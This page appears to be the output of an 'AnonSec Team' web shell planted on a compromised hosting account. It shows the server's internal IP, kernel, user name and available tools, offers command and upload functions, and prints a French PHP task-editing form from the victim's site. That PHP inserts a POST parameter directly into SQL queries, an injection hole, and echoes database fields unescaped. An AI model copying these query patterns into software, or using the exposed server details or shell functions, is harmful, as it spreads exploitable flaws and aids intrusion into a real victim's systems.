AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/mcg/pages/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/mcg/pages/AjaxModifTache_fetch_record.php
<?php

// echo "yassin <br/>" ; 
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
// echo "<pre>" ; 
// print_rr($_POST) ; 
// echo "</pre>" ; 

// exit() ; 

 
$rowid=$_POST['rowid'] ; 

$tache = dbi_fetch_row(dbi_query("SELECT * FROM `tache` WHERE `tache_id` = $rowid ")) ;

// echo "====>".$tache['tache_description']. 


// echo "==> ".$_GET['chantier_ID']."<br/>"

	
	// $qm = dbi_query('scddelect * from contact where contact_id='.$contact_id.'') ;
	// $tabmod = dbi_fetch_row($qm);
	
	// $contact_nom=$tabmod['contact_nom'];
	// $contact_pnom=$tabmod['contact_pnom'];
	// $contact_fonction=$tabmod['contact_fonction'];
	// $contact_tele1=$tabmod['contact_tele1'];
	// $contact_tele2=$tabmod['contact_tele2'];
	// $contact_email=$tabmod['contact_email'];

?>

<html>
             

            <div class="modal-header task-single-header" data-task-single-id="5" data-status="4">
              <h4 class="modal-title">Modifier  Tache <?php echo $prestationid ;?></h4>
              <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
            </div>
            <div class="modal-body">
 

  <form action="" method="POST">   
   
   <?php
   

   // unset($red) ; 
   
   // echo" test " ; 
   
   // exit() ; 
	$q =  dbi_fetch_row(dbi_query("SELECT * FROM `sous_tache` WHERE `sous_tache_id` = $rowid ")) ; 
   // $red=  dbi_fetch_row(dbi_query("SELECT * FROM `demliv` WHERE `demliv_id` = ".$rowid )) ; 
   
   
   
   // $chantier_designation = $red['chantier_designation']; 
   
   // echo "====>".$chantier_designation."<br/>" ; 
   ?>

 <!-- ///////Ligne société & Catégorie --> 

<!-- ///////Ligne -->   


  <div class="form-row"> 
        <div class="form-group col-md-12">
      <label>Sujet </label>
	  <div class="input-group">

                    <!-- <input type="text" class="form-control"  name="number"  placeholder="jj/mm/aaaa"> -->
                 <?     $raq_cat  =dbi_query("SELECT * FROM `tache_titre` ") ;  ?>
				      
                    <select class="form-control" style="width: 100%;" name="tache_titre_id"  id="tache_titre_id">
                        <option value="0" selected="selected" disabled="disabled">-Sujet-</option>
                      <?       while ($res_cat =dbi_fetch_row($raq_cat)) { ?>
                        <option value="<?=$res_cat['tache_titre_id']  ?> "  <?php if($res_cat['tache_titre_id'] == $tache['tache_titre_id'] )echo 'selected' ; ?>  > <?  echo $res_cat['tache_sujet']    ; ?> </option>
					  <?       }?>
                    </select>
                  </div>

   </div>
   
    
   
 
       <div class="form-group col-md-12">
      <label for="inputsociete">Description</label>

	  <textarea class="form-control" id="exampleFormControlTextarea1" name="tache_description"  rows="3"> <?=$tache['tache_description']?></textarea>

   </div>
   
   
      
   
   

	
	<?php
	 $req =dbi_query("SELECT *  FROM `salarie` WHERE `salarie_statut` = '1' OR `salarie_statut` = '2' ORDER BY `salarie`.`salarie_nom` ASC") ; 
	?>
	       <div class="form-group col-md-6"><!-- Liste déroulante jour -->  
                <label>Salarié </label>
				
                <select class="form-control select2" name="salarie_id">
				<option value="-1" selected="selected" disabled="disabled">-Salarié-</option>
				<?php 
				while(  $sal=dbi_fetch_row($req))
				{
				?>
				
                    <option value="<?php echo $sal['salarie_id'] ; ?>"  <?php if($sal['salarie_id'] == $tache['salarie_id'] )echo 'selected' ; ?> ><?php echo $sal['salarie_nom']." ".$sal['salarie_prenom']; ?></option>
					
					<?php 
				}
				?>
                </select>
    </div>
	
		<?php
	 $req_client =dbi_query("SELECT *  FROM `client` WHERE `client_statut` = '1' ORDER BY `client`.`client_nom` ASC") ; 
	?>
	
	       <div class="form-group col-md-6"><!-- Liste déroulante jour -->  
                <label>Client </label>
				
                <select class="form-control select2" name="client_id">
				<option value="0" selected="selected" >-Client-</option>
				<?php 
				while(  $cli=dbi_fetch_row($req_client))
				{
				?>
				
                    <option value="<?php echo $cli['client_id'] ; ?>"  <?php if($cli['client_id'] == $tache['client_id'] )echo 'selected' ; ?>  ><?php echo $cli['client_nom'];  ?></option>
					
					<?php 
				}
				?>
                </select>
    </div>
	
	
	
	<?php
	// echo "===> ".$tache['tache_designation']."<br/>" ; 
	?>
	
	
            
           
		

   



	
  </div>  
                
	 
	


   
  
  
  

  

  <input type="hidden" name="update_tache" value="<?=$rowid ?>">
	
	           <div class="modal-footer justify-content-between">
								<button type="submit"   name="Modifier"  value="Modifier" class="btn btn-primary">Modifier</button>
								<button style="width=10px;" type="button" class="btn btn-danger" data-dismiss="modal">Fermer</button>
								  		  
				</div>
	
  
</form>
 
 

<script src="../../plugins/select2/js/select2.full.min.js"></script>
<!-- Page script -->
<script>
  $(function () {
    //Initialize Select2 Elements
    $('.select2').select2()

    //Initialize Select2 Elements
    $('.select2bs4').select2({
      theme: 'bootstrap4'
    })
  })
</script>

           
</html>
			
			
			
			
			
			
			

	  
	  



AnonSec - 2021